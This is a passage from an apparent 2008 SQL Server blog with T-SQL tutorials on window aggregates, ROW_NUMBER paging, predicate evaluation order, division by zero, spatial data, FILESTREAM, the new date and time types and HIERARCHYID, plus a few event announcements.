       (13, '20080820', 6000.00, 12, 'P'),
       (14, '20080510', 28000.00, 6, 'B'),
       (15, '20080815', 2000.00, 10, 'P'),
       (16, '20080810', 1500.00, 8, 'P'),
       (17, '20080817', 10000.00, 10, 'B'),
       (18, '20080816', 2500.00, 9, 'P');   
 
-- Aggregate window functions with the OVER clause
SELECT loan_nbr, loan_type, loan_amount, customer_nbr,
       SUM(loan_amount) OVER(PARTITION BY customer_nbr) AS total_customer_loans,
       AVG(loan_amount) OVER(PARTITION BY customer_nbr) AS avg_customer_loan_amt,
       MAX(loan_amount) OVER(PARTITION BY customer_nbr) AS max_customer_loan_amt,
       MIN(loan_amount) OVER(PARTITION BY customer_nbr) AS min_customer_loan_amt,
       COUNT(*) OVER(PARTITION BY customer_nbr) AS count_customer_loans
FROM Loans;
 
-- Calculate percent for current loan based on total customer loans
-- and total of all loans
SELECT loan_nbr, loan_type, loan_amount, customer_nbr,
       loan_amount /
       SUM(loan_amount) OVER(PARTITION BY customer_nbr) AS percent_of_customer_loans,
       loan_amount /
       SUM(loan_amount) OVER() AS percent_of_all_loans
FROM Loans;
 
-- Get customers (and all their loans) with more than 2 loans
SELECT customer_nbr, loan_nbr, loan_amount, cnt
FROM (SELECT customer_nbr, loan_nbr, loan_amount,
             COUNT(*) OVER(PARTITION BY customer_nbr) AS cnt
      FROM Loans) AS L
WHERE cnt >= 2;

Resources:

OVER Clause
http://msdn.microsoft.com/en-us/library/ms189461.aspx

Paging with Ranking Functions

2008-11-11T10:05:00.000-05:00

Paging through result sets is a very common need in applications. It provides a convenient way to deliver small chunks of data to the client application, minimizing network traffic and allowing end users to browse data in page size format.

There are different methods to accomplish the paging, both on client and server side. The introduction of the ranking functions in SQL Server 2005 (and SQL Server 2008) provides another efficient tool to implement paging.

The following example demonstrates paging utilizing the ROW_NUMBER function. Here it helps to generate sequence for each row ordered by the loan date column, and the sequence is later used to split the result set into pages.

CREATE TABLE Loans (
  loan_nbr INT NOT NULL PRIMARY KEY,
  loan_date DATETIME NOT NULL,
  loan_amount DECIMAL(12, 2) NOT NULL
              DEFAULT 0.0,
  customer_nbr INT NOT NULL,
  loan_type CHAR(1) NOT NULL
            DEFAULT 'P'
            CHECK (loan_type IN ('P',  -- personal
                                 'B')) -- business
  );
 
INSERT INTO Loans 
VALUES (1, '20080801', 12000.00, 2, 'P'),
       (2, '20080805', 15700.00, 1, 'B'),
       (3, '20080610', 12000.00, 3, 'P'),
       (4, '20080401', 5000.00, 1, 'P'),
       (5, '20080715', 25000.00, 4, 'B'),
       (6, '20080610', 25000.00, 5, 'P'),
       (7, '20080501', 1000.00, 6, 'P'),
       (8, '20080810', 6000.00, 7, 'B'),
       (9, '20080815', 2000.00, 8, 'B'),
       (10, '20080815', 1000.00, 9, 'P'),
       (11, '20080715', 5500.00, 10, 'P'),
       (12, '20080615', 1000.00, 11, 'B'),
       (13, '20080820', 6000.00, 12, 'P'),
       (14, '20080510', 28000.00, 6, 'B'),
       (15, '20080815', 2000.00, 10, 'P'),
       (16, '20080810', 1500.00, 8, 'P'),
       (17, '20080817', 10000.00, 10, 'B'),
       (18, '20080816', 2500.00, 9, 'P');   
 
-- Paging
DECLARE @page_size INT = 5;
DECLARE @page_nbr  INT = 4;
 
WITH LoansRanked (loan_date, loan_amount, loan_type, seq) 
AS
(SELECT loan_date, loan_amount, loan_type,
        ROW_NUMBER() OVER (ORDER BY loan_date, loan_nbr)
FROM Loans)
SELECT loan_date, loan_amount, loan_type, seq 
FROM LoansRanked
WHERE seq > (@page_nbr - 1) * @page_size 
  AND seq <= @page_nbr * @page_size;
 
/*
 
Results (4th page which contains only 3 rows):
 
loan_date               loan_amount   loan_type seq
----------------------- ------------- --------- ----
2008-08-16 00:00:00.000      2500.00  P         16
2008-08-17 00:00:00.000     10000.00  B         17
2008-08-20 00:00:00.000      6000.00  P         18
 
*/

Predicates in SQL

2008-10-20T23:05:00.001-04:00

One of the most confusing topics for developers coming from traditional languages like C, C++, Java, C#, and VB to SQL, is the evaluation of predicates. In most languages predicate logic is evaluated left to right. SQL is a different story. It follows the concept of all-at-once operations. This means all logical predicates will be evaluated at the same time. In practice, the SQL engine is free to process the logical expressions in any order it finds appropriate and cost effective to retrieve the data.

Below is example to illustrate this behavior. Given a table with account policies, where a policy may be represented only as numeric values for certain accounts, and a mix of alpha-numeric characters for other accounts. Knowing that account 2 has policies that can be represented only as numeric values, the goal is to retrieve policies that are greater than 50000.

An attempt to add a first predicate to filter on account 2 and then a second one to select policies greater than 50000 will fail. Even if the query is formed with a derived table to extract first all policies for account 2 and then the outer query filters on the policy, it will not work. The derived table is expanded in the main query plan and a single query plan is produced. Then the query engine is free to push up and down the predicates in the plan as it finds efficient.

CREATE TABLE AccountPolicies (
 account_nbr INT,
 policy VARCHAR(20),
 PRIMARY KEY (account_nbr, policy));
 
INSERT INTO AccountPolicies VALUES(1, 'P1000234'); 
INSERT INTO AccountPolicies VALUES(1, 'P1020256');
INSERT INTO AccountPolicies VALUES(2, '1001');
INSERT INTO AccountPolicies VALUES(2, '5002');
INSERT INTO AccountPolicies VALUES(2, '50001');
INSERT INTO AccountPolicies VALUES(2, '50005');
INSERT INTO AccountPolicies VALUES(2, 'P50005');
 
-- Second predicate may be evaluated first
-- resulting in conversion error
SELECT account_nbr, policy
FROM AccountPolicies
WHERE account_nbr = 2
  AND CAST(policy AS INT) > 50000;
 
-- The derived table is expended in the
-- query plan and predicates can be pushed
-- up or down in the plan  
SELECT account_nbr, policy
FROM (SELECT account_nbr, policy
      FROM AccountPolicies
      WHERE account_nbr = 2) AS P
WHERE CAST(policy AS INT) > 50000;

One way to solve this is to use a CASE expression to force the desired evaluation because WHEN clauses in CASE are evaluated in order. This solution not only demonstrates how to handle the evaluation process, but adds verification that only policies with numeric values are casted (as usual business rules change and later account 2 may be allowed to create policies with alpha-numeric characters).

-- Enforce sequence of evaluating conditions
-- and cast only valid values  
SELECT account_nbr, policy
FROM AccountPolicies
WHERE CASE 
        WHEN account_nbr = 2
        THEN CASE 
               WHEN policy NOT LIKE '%[^0-9]%'
               THEN CASE 
                      WHEN CAST(policy AS INT) > 50000
                      THEN 'True'
                      ELSE 'False'
                    END
               ELSE 'False'
             END             
        ELSE 'False'
      END = 'True';

SQL Server 2008 Launch Event

2008-08-28T00:04:00.002-04:00

With SQL Server 2008 just released, there is a lot of interest of what it offers. On Friday, September 12, you can hear about all the new features of SQL Server 2008 in a full day of free training brought to you by JSSUG, Idea Integration and Pragmatic Works. Each session will dive deeply into new features from a BI, DBA and developer perspective around SQL Server 2008. To resister go to http://www.sqlsaturday.com and select the SQL Server 2008 Launch Event.

I will be presenting at this event the following session:

- T-SQL Enhancements in SQL Server 2008

Code Camp

2008-08-20T23:46:00.003-04:00

On August 23, 2008 is the Jax Code Camp IV in Jacksonville. A full day of coding and free training on different technologies: WCF, LINQ, Cold Fusion, Flex/Air, Silverlight, Ruby on Rails, .Net Compact Framework, SharePoint, SQL Server 2008, and more. To sign up and see the full schedule visit the Code Camp website at http://www.jaxcodecamp.com/.

I will be presenting three sessions:

- Advanced SQL Querying Techniques
- SQL Injection
- SQL Server 2008 for Developers

Division by Zero

2008-07-20T23:24:00.004-04:00

Handling division by zero is a common need in SQL queries. Here is the standard way of performing a check if divisor is zero using the CASE function.

-- Sample table
CREATE TABLE Foo (
 keycol INT PRIMARY KEY,
 x INT,
 y INT);
 
INSERT INTO Foo 
VALUES(1, 15, 3), (2, 10, 0);
 
-- Using CASE to check divisor for zero
SELECT keycol,
       CASE WHEN y = 0
            THEN 0
            ELSE x / y
       END AS result
FROM Foo;

While this is a very natural way to handle this problem, here is another approach which is more compact and as effective. The method below uses the NULLIF function to set the divisor to NULL if it is zero, then since the result from the division will be NULL the COALESCE function is used to return 0.

-- Using NULLIF and COALESCE
SELECT keycol,
       COALESCE(x / NULLIF(y, 0), 0) AS result
FROM Foo;

Top 10 T-SQL Enhancements in SQL Server 2008

2008-06-18T12:11:00.003-04:00

As SQL Server 2008 is getting in the advances phases of release, a lot has been published about new features and changes. There have been a few enhancements to Transact SQL that will be a great help for both developers and administrators. Here is list of the top 10 in no particular order, with links to detailed examples. In other words:

SELECT TOP(10) t_sql_enhancements
FROM SQLServer2008
ORDER BY CHECKSUM(NEWID());

Spatial Support in SQL Server

2008-06-03T11:23:00.000-04:00

SQL Server 2008 adds new spatial data types and methods for storing and handling spatial data. The two new data types are GEOMETRY and GEOGRAPHY. This new functionality provides great capabilities to process spatial data.

Here is one brief example to demonstrate the GEOGRAPHY data type and one of the related methods. The code below finds if a geographical location defined by latitude and longitude coordinates is within a geographical region defined by a polygon.

DECLARE @point GEOGRAPHY;
DECLARE @polygon GEOGRAPHY;
 
SET @point = geography::Parse('POINT(49.274138 73.098562)');
SET @polygon = geography::Parse('POLYGON((47.0 90.0, 47.0 73.0, 50.0 52.0, 50.0 54.0, 47.0 90.0))');
 
SELECT @polygon.STIntersects(@point);

Additional resources:

Working with Spatial Data
http://msdn.microsoft.com/en-us/library/bb933876(SQL.100).aspx

Geometry Data Type Method Reference
http://msdn.microsoft.com/en-us/library/bb933973(SQL.100).aspx

Geography Data Type Method Reference
http://msdn.microsoft.com/en-us/library/bb933802(SQL.100).aspx

Working with Spatial Indexes
http://msdn.microsoft.com/en-us/library/bb895265(SQL.100).aspx

FILESTREAM Data Type

2008-05-30T18:36:00.010-04:00

The new FILESTREAM data type in SQL Server 2008 offers a new way of storing unstructured data (images, documents, video, etc.). Up until now the two standard ways to store such data have been either in the database as BLOB objects or as files outside of the database. FILESTREAM provides the best of both worlds, storing unstructured data in the file system while maintaining transactional consistency with other structured data.

Here is a summary of the new capabilities offered by FILESTREAM:

• Implemented as VARBINARY(MAX)
• No limitation of 2 GB
• Stored in the file system
• Fast read access
• Good for objects larger than ~ 1 - 2 MB
• Encryption is not supported
• Setting to NULL deletes the BLOB data
• Transactional consistency
• Windows access via the OpenSqlFilestream APIs (read/write; no delete or rename)
• Uses Windows cache, not using SQL Server buffer pool, more memory for queries
• A ROWGUIDCOL column is required to use FILESTREAM data with Win32 APIs

Enabling FILESTREAM:

EXEC sp_filestream_configure 
     @enable_level = 3, 
     @share_name = "FileStreamShare";

Levels:

0 - Disabled. This is the default value
1 - Enabled only for Transact-SQL access
2 - Enabled only for Transact-SQL and local file system access
3 - Enabled for Transact-SQL, local file system access, and remote file system access

Creating database supporting FILESTREAM and table with FILESTREAM column:

CREATE DATABASE BlobDatabase ON PRIMARY 
(NAME = Blob, FILENAME = 'C:\Data\Blob.mdf'),
FILEGROUP FSGroup CONTAINS FILESTREAM 
(NAME = BlobFS, FILENAME = 'C:\Data\FileStream')
LOG ON ( NAME = BlobLog, FILENAME = 'C:\Data\Blob.ldf');
 
 
CREATE TABLE BlobDatabase.dbo.Images (
 image_id UNIQUEIDENTIFIER ROWGUIDCOL NOT NULL UNIQUE, 
 image_desc VARCHAR(35),
 image_data VARBINARY(MAX) FILESTREAM NULL);

Update (August 20, 2008)

There have been some changes in the RTM version of SQL Server 2008. To enable FILESTREAM in the release version go to SQL Server Configuration Manager, open the Properties of the instance, on the FILESTREAM tab select Enable FILESTREAM for Transact-SQL access. Then open a query and execute the following:

EXEC sp_configure filestream_access_level, 2;
RECONFIGURE;

The stored procedure sp_filestream_configure used in the prerelease versions has been removed. Now the sp_configure procedure is used as demonstrated above. The new access level values are as follows:

0 - Disables FILESTREAM support for this instance (default)
1 - Enables FILESTREAM for Transact-SQL access
2 - Enables FILESTREAM for Transact-SQL and Win32 streaming access

In addition, one note from the field - turning off the 8.3 name generation on the NTFS volume using the command prompt utility fsutil helps a lot on performance.

Additional resources:

FILESTREAM Overview
http://msdn.microsoft.com/en-us/library/bb933993(SQL.100).aspx

Designing and Implementing FILESTREAM Storage
http://msdn.microsoft.com/en-us/library/bb895234(SQL.100).aspx

New Date and Time Data Types

2008-05-20T12:55:00.001-04:00

SQL Server 2008 introduces enhancements to the existing date and time data types. The most important changes are the addition of separate DATE and TIME data types. The DATETIME2 data type adds more precision to the existing DATETIME data type, and DATETIMEOFFSET provides support for time zones. Here is a list of the new data types:

New data types:

• DATE (0001-01-01 through 9999-12-31)
• TIME (00:00:00.0000000 through 23:59:59.9999999)
• DATETIME2 (fraction 0 through 7)
• DATETIMEOFFSET (time zone awareness)

There are also a few new functions to support those new data types. Here is a list of the added date and time functions:

New functions:

• SYSDATETIME
• SYSDATETIMEOFFSET
• SYSUTCDATETIME
• SWITCHOFFSET
• TODATETIMEOFFSET

Follows a brief example to illustrate the use of the new date and time data types as well as the new functions.

-- The range for the DATE datatype is from 0001-01-01 through 9999-12-31
DECLARE @date DATE;
 
SET @date = CURRENT_TIMESTAMP;
 
PRINT @date;
 
-- The range for the TIME data type is 00:00:00.0000000 through 23:59:59.9999999
DECLARE @time TIME;
 
SET @time = CURRENT_TIMESTAMP;
 
PRINT @time;
 
-- Fraction 0 through 7
DECLARE @datetime2 DATETIME2(7);
 
SET @datetime2 = CURRENT_TIMESTAMP;
 
PRINT @datetime2;
 
SET @datetime2 = SYSDATETIME();
 
PRINT @datetime2;
 
-- Timezone offset range: -14:00 through +14:00
-- Date range: 0001-01-01 through 9999-12-31
-- Time range: 00:00:00 through 23:59:59.9999999
DECLARE @datetimeoffset DATETIMEOFFSET(7);
 
SET @datetimeoffset = CURRENT_TIMESTAMP;
 
PRINT @datetimeoffset;
 
SET @datetimeoffset = SYSDATETIMEOFFSET();
 
PRINT @datetimeoffset;
 
-- Functions
SELECT SYSDATETIME(),
       SYSDATETIMEOFFSET(),
       SYSUTCDATETIME(),
       CURRENT_TIMESTAMP,
       GETDATE(),
       GETUTCDATE();
 
-- New ISO week option for week number calculation       
SELECT DATEPART(ISO_WEEK, CURRENT_TIMESTAMP);    
 
-- Switch between time zones
SELECT SYSDATETIMEOFFSET(),
       SWITCHOFFSET(SYSDATETIMEOFFSET(), '+06:00'); --Paris
 
-- Set date and time offset based on DATETIME value
SELECT CURRENT_TIMESTAMP,
       TODATETIMEOFFSET(CURRENT_TIMESTAMP, '-01:00');
 
-- Convert DATETIME to DATE and TIME       
SELECT CONVERT(DATE, CURRENT_TIMESTAMP),
       CONVERT(TIME, CURRENT_TIMESTAMP);

Additional resources:

Using Date and Time Data
http://msdn.microsoft.com/en-us/library/ms180878(SQL.100).aspx

Date and Time Data Types and Functions
http://msdn.microsoft.com/en-us/library/ms186724(SQL.100).aspx

Hierarchies in SQL Server 2008

2008-05-09T16:24:00.005-04:00

Graphs, tree algorithms and structures have been used for long time in databases to solve hierarchy related problems. Adjacency list, nested sets, materialized path, and other hybrid methods offer different capabilities to help.

SQL Server 2008 adds a new feature to help with modeling hierarchical relationships: the HIERARCHYID data type. It provides compact storage and convenient methods to manipulate hierarchies. In a way it is very much like optimized materialized path. In addition the SqlHierarchyId CLR data type is available for client applications.

While HIERARCHYID has a lot to offer in terms of operations with hierarchical data, it is important to understand a few basic concepts:

- HIERARCHYID can have only a single root (although easy to work around by adding sub-roots)
- It does not automatically represent a tree, the application has to define the relationships and enforce all rules
- The application needs to maintain the consistency

Here is a one example of employee hierarchy to illustrate the usage of HIERARCHYID and the related methods for manipulation of hierarchies.

CREATE TABLE Employees (
 emp_id INT NOT NULL PRIMARY KEY,
 emp_name VARCHAR(35),
 manager_id INT REFERENCES Employees(emp_id),
 org_chart_path HIERARCHYID);
 
/* 
 
The primary key prevents cyclic paths.
Another way is using a CHECK constraint.
 
CHECK (org_chart_path.ToString() NOT LIKE '%/' + CAST(emp_id AS VARCHAR(10)) + '/_%')
 
*/
 
-- Insert the top level manager as hierarchy root
INSERT INTO Employees 
VALUES (1, 'Jeff Brown', NULL, hierarchyid::GetRoot());
 
-- Insert John who reports to the top level manager                            
INSERT INTO Employees 
VALUES (2, 'John Doe', 1, 
           (SELECT hierarchyid::GetRoot().GetDescendant(NULL, NULL)
            FROM Employees));
 
 
-- Insert Peter at the same level as John
DECLARE @mgr HIERARCHYID = (SELECT org_chart_path
                            FROM Employees
                            WHERE emp_name = 'John Doe');
 
INSERT INTO Employees 
VALUES (3, 'Peter Hanna', 1, 
           (SELECT hierarchyid::GetRoot().GetDescendant(@mgr, NULL)
            FROM Employees
            WHERE org_chart_path = hierarchyid::GetRoot()));
 
-- Insert Richard as reporting to John
INSERT INTO Employees 
VALUES (4, 'Richard Burns', 2, 
           hierarchyid::Parse('/1/1/')); -- Also: CAST('/1/1/' AS HIERARCHYID)
 
SELECT emp_id, emp_name,
       manager_id, org_chart_path,
       org_chart_path.GetAncestor(1) AS emp_manager,
       hierarchyid::GetRoot() AS top_manager,
       org_chart_path.GetDescendant(NULL, NULL) AS emp_descendant,
       org_chart_path.GetLevel() AS emp_level,
       org_chart_path.ToString() AS emp_org_path
FROM Employees; 
 
/*
 
emp_id emp_name         manager_id  org_chart_path  emp_manager   top_manager  emp_descendant  emp_level emp_org_path
------ ---------------- ----------- --------------- ------------- ------------ --------------- --------- ------------
1      Jeff Brown       NULL        0x              NULL          0x           0x58            0         /
2      John Doe         1           0x58            0x            0x           0x5AC0          1         /1/
3      Peter Hanna      1           0x68            0x            0x           0x6AC0          1         /2/
4      Richard Burns    2           0x5AC0          0x58          0x           0x5AD6          2         /1/1/
 
*/
 
-- Move Richard to report to Peter
DECLARE @new_mgr HIERARCHYID = (SELECT org_chart_path
                                FROM Employees
                                WHERE emp_name = 'Peter Hanna');
 
UPDATE Employees
SET org_chart_path = org_chart_path.Reparent(org_chart_path.GetAncestor(1), 
                                             @new_mgr)
WHERE emp_name = 'Richard Burns';
 
SELECT emp_id, emp_name,
       manager_id, org_chart_path,
       org_chart_path.GetAncestor(1) AS emp_manager,
       hierarchyid::GetRoot() AS top_manager,
       org_chart_path.GetDescendant(NULL, NULL) AS emp_descendant,
       org_chart_path.GetLevel() AS emp_level,
       org_chart_path.ToString() AS emp_org_path
FROM Employees;     
 
/*
 
emp_id  emp_name        manager_id  org_chart_path    emp_manager   top_manager  emp_descendant   emp_level emp_org_path
------- --------------- ----------- ----------------- ------------- ------------ ---------------- --------- ------------
1       Jeff Brown      NULL        0x                NULL          0x           0x58             0         /
2       John Doe        1           0x58              0x            0x           0x5AC0           1         /1/
3       Peter Hanna     1           0x68              0x            0x           0x6AC0           1         /2/
4       Richard Burns   2           0x6AC0            0x68          0x           0x6AD6           2         /2/1/
 
*/

From the above example it is very easy to see the similarity between materialized path and HIERARCHYID when the HIERARCHYID is converted to the character format using the ToString() method. Converting hierarchy from traditional parent/child format to HIERARCHYID is simple using recursive CTEs (very similar to building a materialized path).

Note:

This code has been tested with SQL Server 2008 CTP 6 (February 2008). As of SQL Server 2008 Release Candidate 0 (June 2008) the method Reparent() has been replaced with the method GetReparentedValue(). It is called using the same parameters and returns the same value.

Additional resources:

Using hierarchyid Data Types
http://msdn.microsoft.com/en-us/library/bb677173(SQL.100).aspx

Working with hierarchyid Data
http://msdn.microsoft.com/en-us/library/bb677212(SQL.100).aspx